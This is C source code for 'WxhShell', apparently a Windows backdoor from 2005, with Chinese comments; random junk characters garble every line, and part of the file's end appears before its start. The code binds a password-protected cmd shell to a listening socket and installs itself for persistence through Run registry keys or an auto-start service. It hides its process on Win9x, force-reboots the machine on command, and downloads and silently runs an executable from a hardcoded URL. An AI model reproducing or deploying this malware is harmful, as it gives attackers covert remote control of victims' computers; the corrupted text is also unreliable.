    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S'U@X  
    else { zSv^<`X3  
    closesocket(wsh); tfkr+ /  
    ExitThread(0); a$9A(Pte  
    } 3Z>YV]YbeU  
    break; JI|6B  
    } Ogg#jx(4  
  // 获取shell 'R9g7,53R  
  case 's': { |xr\H8:(!  
    CmdShell(wsh); 1%J.WH6eQ  
    closesocket(wsh); `Zz uo16  
    ExitThread(0); ~vgA7E/XV  
    break; aF8k/$u  
  } /}5B&TZ=(3  
  // 退出  T7$S_  
  case 'x': { V5D2\n3A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wP"q<W g  
    CloseIt(wsh); K{cbn1\,H  
    break; TNY4z(r  
    } *zVvQ=  
  // 离开 g):]'  
  case 'q': { Zt@Z=r:&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Gzt=u"FV  
    closesocket(wsh); ;\y ;  
    WSACleanup(); b!$}ma;B  
    exit(1); kw,$NK'  
    break; /.V0ag'G  
        } Uh|>Skic4  
  } GZ }/leR  
  } BRbV7&  
ohc1 ~?3b  
  // 提示信息 Bmo$5$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VjbG(nB?_  
} WW "i  
  }  0=6/yc  
nhdTTap&9  
  return; 0O2n/`'  
} sI 4yG  
U!e6FHj7  
// shell模块句柄 ~fzuwz  
int CmdShell(SOCKET sock) dl l%4Sd  
{ noNm^hFL  
STARTUPINFO si; q]<xMg#nu  
ZeroMemory(&si,sizeof(si)); , fb( WY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N dR ]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r$nkU4N'  
PROCESS_INFORMATION ProcessInfo; h3Fo-]0  
char cmdline[]="cmd"; )QY![&k}1z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tSv0" L  
  return 0; A8?[6^%O|  
} ^uaFg`S  
0,FC YTtj$  
// 自身启动模式 Ie'P#e'  
int StartFromService(void) X;fy\HaU  
{ 45}v^|Je\  
typedef struct  s&*yk p  
{ ilEi")b=  
  DWORD ExitStatus; qeaA&(|5  
  DWORD PebBaseAddress; @?&Wm3x9  
  DWORD AffinityMask; EychR/s  
  DWORD BasePriority; rhY_|bi4P  
  ULONG UniqueProcessId; K5ZnS`c;  
  ULONG InheritedFromUniqueProcessId; K%{ad1$c  
}   PROCESS_BASIC_INFORMATION; "S(X[Y'  
OM9 6`  
PROCNTQSIP NtQueryInformationProcess; 'M'w,sID  
K5 vNhA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -S; &Q'Mt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <fM>Yi5  
ValS8V*N1  
  HANDLE             hProcess;  pbB2wt  
  PROCESS_BASIC_INFORMATION pbi; \~"#ld(x7  
6w#nkF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DBbc|I/[l  
  if(NULL == hInst ) return 0; LXhaD[1Rb  
Qp:6= o0:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d$1 #<-yP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4nX(:K}>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %"7WXOv&z  
sp8[cO=  
  if (!NtQueryInformationProcess) return 0; 0B3 Q Vbp'  
T_L6 t66I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !p% @Deu  
  if(!hProcess) return 0; ^o%_W0_r  
fuSq ={]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /GsrGX8  
;9rTE|n  
  CloseHandle(hProcess); 3@X7YgILU  
k\(4sY M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =g0*MZ;"  
if(hProcess==NULL) return 0; Oje|bxQ  
H2\1gNL  
HMODULE hMod; sX'U|)/pD  
char procName[255]; 1*R_"#  
unsigned long cbNeeded; 1=TSJ2{ 9  
MTB@CP!u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ATO 5  
GAJ~$AiwHH  
  CloseHandle(hProcess); P06 . 1  
(Nt[v;BnO  
if(strstr(procName,"services")) return 1; // 以服务启动 D=w9cKa  
9H$g?';  
  return 0; // 注册表启动 $y6rvQ 2>S  
} 3bH5C3(u  
7jezw'\=~  
// 主模块 )l2P}k7`  
int StartWxhshell(LPSTR lpCmdLine) `Yogq)G}  
{ -c$z 2Q)  
  SOCKET wsl; 92(~'5Qr  
BOOL val=TRUE; T{ nQjYb?  
  int port=0; U2&HSE|2J  
  struct sockaddr_in door; T#e4": A&x  
q}Rlo/R  
  if(wscfg.ws_autoins) Install(); ~|=rwDBZ8l  
R"Y?iZed3  
port=atoi(lpCmdLine); jlRS:$|R0  
||gEs/6-  
if(port<=0) port=wscfg.ws_port; IuKnM`X  
K50t%yu#T]  
  WSADATA data; nL\ZId  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nh.b/\o  
zg0%>iqO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [0{wA9g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fB[\("+  
  door.sin_family = AF_INET; 1HXlHic  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )v-Cj_W5]"  
  door.sin_port = htons(port); x#o?>5Qg?  
;E2~L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (.oaMA"B  
closesocket(wsl); [,\i[[<  
return 1; ?7rD42\8H  
} D3]@i&^B  
)T<D6l Lt  
  if(listen(wsl,2) == INVALID_SOCKET) { _3KZME  
closesocket(wsl); z qO$  
return 1; Lkp&;+  
} v+7*R)/  
  Wxhshell(wsl); 9g+UJ\u^  
  WSACleanup(); m\} =4b  
!a)s`  
return 0; $*aE$O6l  
As p8qHS  
} J{^n=X9M0J  
q1<Fg.-r  
// 以NT服务方式启动 o>$|SU!a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8q{1E];:q  
{ ${CYDD"mdy  
DWORD   status = 0; %,Q;<axzi  
  DWORD   specificError = 0xfffffff; Yg|l?d"  
$KH@,;Xz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wC(XRqlE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0JrK/Ma3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AAdD\ %JZ  
  serviceStatus.dwWin32ExitCode     = 0; $ #t|(\  
  serviceStatus.dwServiceSpecificExitCode = 0; 1uY3[Z9S  
  serviceStatus.dwCheckPoint       = 0; ,?;sT`Mh)  
  serviceStatus.dwWaitHint       = 0; 5@CpP-W#  
bA0uGLc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xan/ay>  
  if (hServiceStatusHandle==0) return; &,_?>.\[<  
qU}lGf!dVn  
status = GetLastError(); hQP6@KIe)  
  if (status!=NO_ERROR) o9~h%&  
{ `6n!$Cxo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qYDj*wqf  
    serviceStatus.dwCheckPoint       = 0; <XY;fhnB  
    serviceStatus.dwWaitHint       = 0; Iy6p>z|  
    serviceStatus.dwWin32ExitCode     = status; i)GeX:  
    serviceStatus.dwServiceSpecificExitCode = specificError; olHH9R9:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c-ttds  
    return; sio)_8tp  
  } } =xI3;7  
#%:`p9p.S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?L8&(&1@VD  
  serviceStatus.dwCheckPoint       = 0; zL6 \p)y  
  serviceStatus.dwWaitHint       = 0; y`\mQ48V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }ty"fI3&iY  
} ^#}dPGm  
(q~R5)D  
// 处理NT服务事件,比如:启动、停止 V> 1D1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y4 dp1<t%  
{ kT>r<`rt  
switch(fdwControl) e!.7no  
{ rL.<Z@ -  
case SERVICE_CONTROL_STOP: mL8A2>Gig  
  serviceStatus.dwWin32ExitCode = 0; >~.Zr3P6kC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?,D>+::  
  serviceStatus.dwCheckPoint   = 0; .A )\F",X  
  serviceStatus.dwWaitHint     = 0; 0,;E.Py?.  
  { $^!a`Xr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e~tr^$/(  
  } =I+l=;05Rd  
  return; Bm65 W  
case SERVICE_CONTROL_PAUSE: `WraOsoY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >cBGw'S  
  break; cZCGnzy  
case SERVICE_CONTROL_CONTINUE: ( [K2:n\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9k714bnMLX  
  break; L7i}Ga!8  
case SERVICE_CONTROL_INTERROGATE: Jslk  
  break; Q x9>,e6+  
}; E`A<]dAoK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ./7&_9| <  
} }<6oFUZ  
T][-'0!  
// 标准应用程序主函数 bbE bf !E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KyuA5jQ7  
{ ({D}QEP  
UY?i E=  
// 获取操作系统版本 vgUhN_rK  
OsIsNt=GetOsVer(); (#!(Q) ]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Pmqx ;  
n25irCD`  
  // 从命令行安装 ORV}j, Ym  
  if(strpbrk(lpCmdLine,"iI")) Install(); V%X:1 8j  
c^i"}2+  
  // 下载执行文件 3bT6W, J4T  
if(wscfg.ws_downexe) { [0mFy) 6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OqEg{o5 a&  
  WinExec(wscfg.ws_filenam,SW_HIDE); {^PO3I  
} Fw(b1d>E  
ZXF AuF  
if(!OsIsNt) { &:!ZT=  
// 如果时win9x,隐藏进程并且设置为注册表启动 f_Wkg)g  
HideProc(); +YGw4{\EL  
StartWxhshell(lpCmdLine); _A@fP[C  
} zhVa.r A  
else G\'u~B/w  
  if(StartFromService()) ` <l/GwtAJ  
  // 以服务方式启动 2eZk3_w  
  StartServiceCtrlDispatcher(DispatchTable); PfwI@%2  
else $V`KrA~]  
  // 普通方式启动 W+F<P@[u<$  
  StartWxhshell(lpCmdLine); m &0(%  
8`L#1ybMO  
return 0; )OW(T^>_'I  
} C8bGae(  
0%GqCg  
CjC'"+[w  
p=mCK@  
=========================================== v!pj v%  
l|R<F;|  
N$=(1`zM=  
;~'cITL  
7G<KrKal  
I]uOMWZs  
" (<d&BV-"  
'S%} ?#J  
#include <stdio.h> [*Aqy76Qa  
#include <string.h> Yj^avO=;  
#include <windows.h> 1sIy*z  
#include <winsock2.h> QK``tWLIg7  
#include <winsvc.h> L5-T6CD  
#include <urlmon.h> $'J6#Vs  
hJC p0F9O  
#pragma comment (lib, "Ws2_32.lib") L&!g33J&  
#pragma comment (lib, "urlmon.lib") +q`rz  
t+W=2w&  
#define MAX_USER   100 // 最大客户端连接数 TQOg~lH  
#define BUF_SOCK   200 // sock buffer S:2u3th7  
#define KEY_BUFF   255 // 输入 buffer `uM0,Z  
6)uPM"cO  
#define REBOOT     0   // 重启 KG4#BY&^  
#define SHUTDOWN   1   // 关机 CN8@c!mB  
3$96+A^M*  
#define DEF_PORT   5000 // 监听端口 )JY_eG&2Dx  
(dLE<\E  
#define REG_LEN     16   // 注册表键长度  &*>C PO  
#define SVC_LEN     80   // NT服务名长度 dIBKE0`  
jE?\Yv3  
// 从dll定义API *x*,I ,03  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (.@p4q Q-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (_i vN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _v~D {H&}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ')~Y  
M<#)D  
// wxhshell配置信息 q5'yD;[hE  
struct WSCFG { `lu"yF  
  int ws_port;         // 监听端口 +s/N@]5nW  
  char ws_passstr[REG_LEN]; // 口令 sw=JUfAhy  
  int ws_autoins;       // 安装标记, 1=yes 0=no  s>*Q  
  char ws_regname[REG_LEN]; // 注册表键名 c5wkzY h  
  char ws_svcname[REG_LEN]; // 服务名 3gV&`>@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ATMogxh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  23(E3:.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mD^qx0o<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %0~wtZH_!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #2lvfR|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T$.-{I  
C+L_61  
}; }Pm(oR'KTJ  
$_URXI  
// default Wxhshell configuration :9!0 Rm  
struct WSCFG wscfg={DEF_PORT, 9pl_V WrQ  
    "xuhuanlingzhe", 4I:JaRT d  
    1, U Qi^udGFD  
    "Wxhshell", t6h`WAZV  
    "Wxhshell", %!HnGwv-  
            "WxhShell Service", SILvqm  
    "Wrsky Windows CmdShell Service", Ip7FD9 ^  
    "Please Input Your Password: ", ;}>g1&q  
  1, {!{7zM%u0C  
  "http://www.wrsky.com/wxhshell.exe", {xBjEhQm  
  "Wxhshell.exe"  Z$#ZYD  
    }; g+KzlS[6  
Rbj+P;t&  
// 消息定义模块 Kt4\&l-De  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z:i X]df  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AHMV@o`V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V M\Z<}C  
char *msg_ws_ext="\n\rExit."; ?`l=!>C4s  
char *msg_ws_end="\n\rQuit."; 4MtqQq4%  
char *msg_ws_boot="\n\rReboot..."; c~L6fvS  
char *msg_ws_poff="\n\rShutdown..."; )QSt7g|OF  
char *msg_ws_down="\n\rSave to "; ( /x@W`  
Gs=a(0 0i?  
char *msg_ws_err="\n\rErr!"; OJ_2z|f<  
char *msg_ws_ok="\n\rOK!"; Z1V'NJI+  
z?t(+^  
char ExeFile[MAX_PATH]; O[hbu![  
int nUser = 0; @DQ"vFj6<  
HANDLE handles[MAX_USER]; !k>H e*M}P  
int OsIsNt; Lx:N!RDw  
lPFdQ8M  
SERVICE_STATUS       serviceStatus; (15Yw9Mv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YqY6\ mo  
>NOYa3  
// 函数声明 hRy }G'0  
int Install(void); 'd.@4 9  
int Uninstall(void);  oRbYna?J  
int DownloadFile(char *sURL, SOCKET wsh); MZP><Je&  
int Boot(int flag); `Z7ITvF>  
void HideProc(void); SAll9W4  
int GetOsVer(void); R&=GB\`:a  
int Wxhshell(SOCKET wsl); mZ5K hPvf8  
void TalkWithClient(void *cs); :5cu,&<Gv  
int CmdShell(SOCKET sock); @X6#$ex  
int StartFromService(void); +&N&D"9A  
int StartWxhshell(LPSTR lpCmdLine); 2gD{Fgf@N  
Bc|x:#`C\{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^9*|_\3N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 55\X\> 0C7  
QV H'06 "{  
// 数据结构和表定义 s-N?Tzi  
SERVICE_TABLE_ENTRY DispatchTable[] = 9;v"bc Q  
{ V+a%,sI  
{wscfg.ws_svcname, NTServiceMain}, *r?51*J  
{NULL, NULL} + $a:X  
}; Obc3^pV&  
Ae_ E;[mj  
// 自我安装 ;gW|qb+#)j  
int Install(void) FTYLMQ i  
{ 4 TQISu)  
  char svExeFile[MAX_PATH]; 4tTZkJc  
  HKEY key; q'V{vFfY%  
  strcpy(svExeFile,ExeFile); ot+~|Dl  
*1)NABp6D  
// 如果是win9x系统,修改注册表设为自启动 qQ DFg`  
if(!OsIsNt) { 2#:]%y;\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uF3p1by  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HToN+z%w3H  
  RegCloseKey(key); zkMO3w>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9MzkG87J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /GSI.tO  
  RegCloseKey(key); JdYF&~  
  return 0; PKM$*_LcGI  
    } pnA]@FW  
  } WmVw>.]@~  
} MqBATW.pmJ  
else { 0^lL,rC   
|p4OlUq  
// 如果是NT以上系统,安装为系统服务 8`~3MsE"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x5 ~E'~_  
if (schSCManager!=0) vlN. OQ  
{ P[P72WR  
  SC_HANDLE schService = CreateService U}wq~fD  
  ( Cm}UWX  
  schSCManager, &CmkNm_B  
  wscfg.ws_svcname, *pC -`k  
  wscfg.ws_svcdisp, Q|<?$.FN"8  
  SERVICE_ALL_ACCESS, VaI P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K y4y  
  SERVICE_AUTO_START, S 2 h  
  SERVICE_ERROR_NORMAL, ;Kq?*H  
  svExeFile, DPxu3,Y  
  NULL, BG8)bh k;/  
  NULL, x0;}b-f  
  NULL, / bu<,o  
  NULL, lg  
  NULL ^-;Z8M  
  ); }7 z+  
  if (schService!=0) $)7f%II  
  { z+D,:!yF  
  CloseServiceHandle(schService); 5'-9?-S"  
  CloseServiceHandle(schSCManager); I2lZ>3X{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P~ZV:Of  
  strcat(svExeFile,wscfg.ws_svcname); h%^kA@3F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Lpbn@y26<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R Mt vEa  
  RegCloseKey(key); _vLT!y  
  return 0; Q0; gF?  
    } 4$2T zJE  
  } !cq| g  
  CloseServiceHandle(schSCManager); coVT+we  
} M)pi)$&c  
} BBJ]>lQ  
%` [`I>  
return 1; +\oHQ=s>}\  
} molowPI  
uv!qE1z@':  
// 自我卸载 ~S>ba']  
int Uninstall(void) .*f4e3  
{ #R PB;#{  
  HKEY key; W!B4< 'Fjc  
wP':B AQ4U  
if(!OsIsNt) { 2^ZPO4|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a[cH@7W.#  
  RegDeleteValue(key,wscfg.ws_regname); E=*Q\3G~  
  RegCloseKey(key); wEc5{ b5M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3M*[a~  
  RegDeleteValue(key,wscfg.ws_regname); wP1VQUL  
  RegCloseKey(key); CgKSK0/a  
  return 0; ~wg^>!E  
  } Q4 :r$ &  
} S|4/C  
} ~%K(ou=2  
else { wXGFq3`  
|M>k &p,B-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4H? Ma|,  
if (schSCManager!=0) W}_}<rlF  
{ HU+H0S~g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /)4r2x  
  if (schService!=0) )t ch>.EQ_  
  { 0i `Zy!  
  if(DeleteService(schService)!=0) { ^JDV4>S\  
  CloseServiceHandle(schService); SW'KYzn  
  CloseServiceHandle(schSCManager); BmF>IQ`M?  
  return 0; 6i9I 4*'  
  } 2^M+s\p  
  CloseServiceHandle(schService); ^ED>{UiNI  
  } Df3v"iCq}  
  CloseServiceHandle(schSCManager); h1o+7  
} h#ot)m|I  
} E+Mdl*  
$rYu4^  
return 1; m8^2k2  
} H=RV M  
j5GZ;d?  
// 从指定url下载文件 M%^laf  
int DownloadFile(char *sURL, SOCKET wsh) 6lAo`S\)eX  
{ be#"517  
  HRESULT hr; ^!Jm/-  
char seps[]= "/"; <Pt\)"JA  
char *token; .T-p]9*p  
char *file; GnaV I  
char myURL[MAX_PATH]; 8N_rJ)f  
char myFILE[MAX_PATH]; cGp 6yf  
"a{f? .X.  
strcpy(myURL,sURL); becQ5w/~  
  token=strtok(myURL,seps); :P"Gym  
  while(token!=NULL) rO%+)M$A  
  { G_mu7w  
    file=token; FRk_xxe"K  
  token=strtok(NULL,seps); *{s[$}uQ  
  } X6 '&X  
i~L7h=__  
GetCurrentDirectory(MAX_PATH,myFILE); s7} )4.vO  
strcat(myFILE, "\\"); (UXB#I~  
strcat(myFILE, file); (Fd4Gw<sq  
  send(wsh,myFILE,strlen(myFILE),0); io3'h:+9s  
send(wsh,"...",3,0); K(<P" g(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #7ZBbq3=  
  if(hr==S_OK) /n:fxdhe  
return 0; rNC3h"i\  
else ra2q. H  
return 1; )ixE  
Nq6CvDXi  
} 7~f6j:{|z  
/U]5#'i  
// 系统电源模块 dD<kNa}2  
int Boot(int flag) IpmREl $j  
{ h8Si,W 3o  
  HANDLE hToken; >GUTno$J  
  TOKEN_PRIVILEGES tkp; >@uYleD(  
]#.#]}=  
  if(OsIsNt) {  B4ze$#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n #/m7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); our5k   
    tkp.PrivilegeCount = 1; qJj5J;k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9V\`{(R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0O4mA&&!oK  
if(flag==REBOOT) { EtGr& \,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .r'.5RI A  
  return 0; \0*LfVr;P  
} a $:N9&P  
else { c'R|Wyf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v4aGL<SO  
  return 0; M6!brj\[|  
} 7^=jv~>wP  
  } ,u2<()`8D  
  else { p2^OQK  
if(flag==REBOOT) { )&-E@% \  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RBwV+X[B  
  return 0; ^yTN (\9  
} U$ bM:d  
else { )wd~639U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +ETw:i9!?  
  return 0; C\D4C]/8  
} 0fU>L^P_?  
} blv6  
f}eVfAf  
return 1; 5GkM7Zu!{j  
} kGP?Jx\PkH  
6suc:rp";  
// win9x进程隐藏模块 7Y:s6R|  
void HideProc(void) N>Y3[G+  
{ IRa*}MJe  
W0k q>s4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8<!9mgh  
  if ( hKernel != NULL ) UUq9UV-h  
  { yr'`~[oSCy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kq-RM#Dj:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E@KK\m \e  
    FreeLibrary(hKernel); iI0'z=J  
  } \-yi#N  
"(qO}&b>  
return; my6T@0R  
} (eP)>G]  
t:7jlD!d  
// 获取操作系统版本 k$!&3Rh  
int GetOsVer(void) Rw`s O:eZ  
{ CuNHDYQ&3  
  OSVERSIONINFO winfo; Ip x:k+J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pp jrm  
  GetVersionEx(&winfo); nv]64mL3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1S:H!h3  
  return 1; :9Pqy pd+  
  else Fu$sfq  
  return 0; 'P#I<?vB  
} 9nE%r\H  
5hMiCod  
// 客户端句柄模块 )j'b7)W\  
int Wxhshell(SOCKET wsl) &IYkeGQr  
{ }I]q$3 .  
  SOCKET wsh; =fPO0Ot;  
  struct sockaddr_in client; DJ^JUVi  
  DWORD myID; oP6G2@3P/  
hlZjk0ez  
  while(nUser<MAX_USER) J4i0+u  
{ /'&L M\  
  int nSize=sizeof(client); sJWwkR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O"Q=66.CR  
  if(wsh==INVALID_SOCKET) return 1; [tN/}_]  
WyETg!b[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e|P60cd /  
if(handles[nUser]==0) VrK5a9*^  
  closesocket(wsh); p\K5B,  
else XEI]T~  
  nUser++; ( 9l|^w["  
  } K]l) z* I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); plq\D.C  
14R))Dz"  
  return 0; r[~$  
} .B*)A.   
zl5S)/A  
// 关闭 socket 3^Y-P8.zdB  
void CloseIt(SOCKET wsh) $B2@mC([S  
{ RZZB?vx  
closesocket(wsh); P}jr 8Z  
nUser--; |Th{*IJ <,  
ExitThread(0); gnGw7V  
} ~08v]j q  
p=zm_+=  
// 客户端请求句柄 m 78PQx H  
void TalkWithClient(void *cs) n|.;g!QDA  
{ C0M{zGT>}  
]{hfM  
  SOCKET wsh=(SOCKET)cs; ]nh)FMo  
  char pwd[SVC_LEN]; va0 a4s1O  
  char cmd[KEY_BUFF]; y~fy0P:T  
char chr[1]; __M}50^  
int i,j; w'!gLta  
[g? NU]  
  while (nUser < MAX_USER) { nL? B  
Xqy{=:0  
if(wscfg.ws_passstr) { -]e@cevy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jv ";?*I6.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `xSXGI  
  //ZeroMemory(pwd,KEY_BUFF); 0/Csc\Xl  
      i=0; cQny)2k*x  
  while(i<SVC_LEN) { /[OMpP  
OX"`VE  
  // 设置超时 R+\5hI@ >i  
  fd_set FdRead; };*5+XY^  
  struct timeval TimeOut; ]%."  
  FD_ZERO(&FdRead); &Lw| t_y  
  FD_SET(wsh,&FdRead); [o~w>,a  
  TimeOut.tv_sec=8; ,<BTv;4p  
  TimeOut.tv_usec=0; ?6Gq &  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5>HI/QG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PJLA^eC7>  
"7g: u-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qv:WC TAn  
  pwd=chr[0]; 2+enRR~  
  if(chr[0]==0xd || chr[0]==0xa) { &}]Wbk4:  
  pwd=0; !q X 7   
  break; "elh~K  
  } vv u((b  
  i++; {9)f~EbM!  
    } =k'dbcfO$9  
mXr)lA  
  // 如果是非法用户,关闭 socket &zZSWNW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^%L$$V nG  
} 3eB2= _V`  
(8I0%n}.Zo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <1y%ch;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UX?_IgJh<"  
0V^?~ex  
while(1) { #E#70vWp\O  
-+L1Hid.7  
  ZeroMemory(cmd,KEY_BUFF); <AVpFy  
W`Soa&9  
      // 自动支持客户端 telnet标准   ZA!vxQ?P,  
  j=0; gC 4w&yL  
  while(j<KEY_BUFF) { 4l|Am3vzX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mp#5V c  
  cmd[j]=chr[0]; . &e,8  
  if(chr[0]==0xa || chr[0]==0xd) { Y/ `fPgE  
  cmd[j]=0; G/y< bPQ  
  break; GXAcy OV  
  } Uz0mSfBp  
  j++; G -;Yua2\  
    } ]?kf;A@  
':Te#S  
  // 下载文件 Cc^t&Eg  
  if(strstr(cmd,"http://")) { Po2YDj`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !} 1p:@  
  if(DownloadFile(cmd,wsh)) M! s&<Bi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lY~xoHT;[  
  else ,Zdc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xzy9~))o  
  } A`@we  
  else { ]`MRH[{  
}, ]W/  
    switch(cmd[0]) { AIE)q]'Q  
  QoqdPk#1  
